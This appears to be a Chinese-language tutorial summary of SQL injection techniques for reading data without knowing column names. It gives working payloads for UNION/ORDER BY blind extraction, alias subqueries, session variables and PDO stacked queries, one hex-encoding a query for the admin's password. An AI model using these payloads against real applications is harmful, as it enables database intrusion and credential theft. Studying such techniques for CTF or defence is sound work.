无列名注入总结

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了无列名注入总结相关的知识,希望对你有一定的参考价值。

这里对无列名注入的方法进行一下总结,主要出现的情况可能是无法获取列名,或者列名被过滤等等,但一般只能获取可注入语句里面对应表的信息。

0x01 盲注

如果注入存在于如下语句,那么就能够使用盲注这种方法

SELECT * FROM USERS WHERE USERNAME=$injectdot;

技术分享

这里主要是利用了order by password来对password字段进行盲注,通过回显的用户名是admin还是xxx来进行判断。
那么payload就是:

injectdot=admin union select 1,xxx,z order by 3#

0x02 别名

这种方法只要存在一个注入就可以了:

SELECT B FROM A WHERE B=$injectdot;
具体是利用别名的方法,来将数据获取出来。
那么payload如下:
injectdot= union (select c from (select 1,2,3 as c union select * from user ) as b) limit 1,1#
或者
injectdot= union (select c from (select 1,2,3 c union select * from user )b) limit 1,1#

0x03 变量

这种方法需要在同一个页面存在两个注入:

注入点1:SELECT * FROM USERS WHERE USERNAME=$injectdot1;
注入点2:SELECT * FROM A WHERE B=$injectdot2;

技术分享

那么payload为:

injectdot1=admin into @a,@b,@c#
injectdot2= union select @c#

0x04 PDO

这种方法需要利用PDO来对数据库进行操作,于是就能够执行多条语句从而进行注入,主要可以利用prepareexecute来执行数据库语句,从而绕过很多过滤进行注入。技术分享

只要有注入就行:

SELECT B FROM A WHERE C=$injectdot;

这样payload是:

injectdot=;set @a=unhex("73656c6563742070617373776f72642066726f6d207573657220776865726520757365726e616d653d2761646d696e273b");prepare p from @a;execute p;#

 



以上是关于无列名注入总结的主要内容,如果未能解决你的问题,请参考以下文章

sql注入(利用join进行无列名注入)

21年国赛 -- easy_sql --- 利用join进行无列名注入

21年国赛 -- easy_sql --- 利用join进行无列名注入

[SWPU2019]Web1(二次注入,无列名注入,bypass information_schema)

information_schema过滤与无列名注入

[SWPU2019]Web1(无列名注入)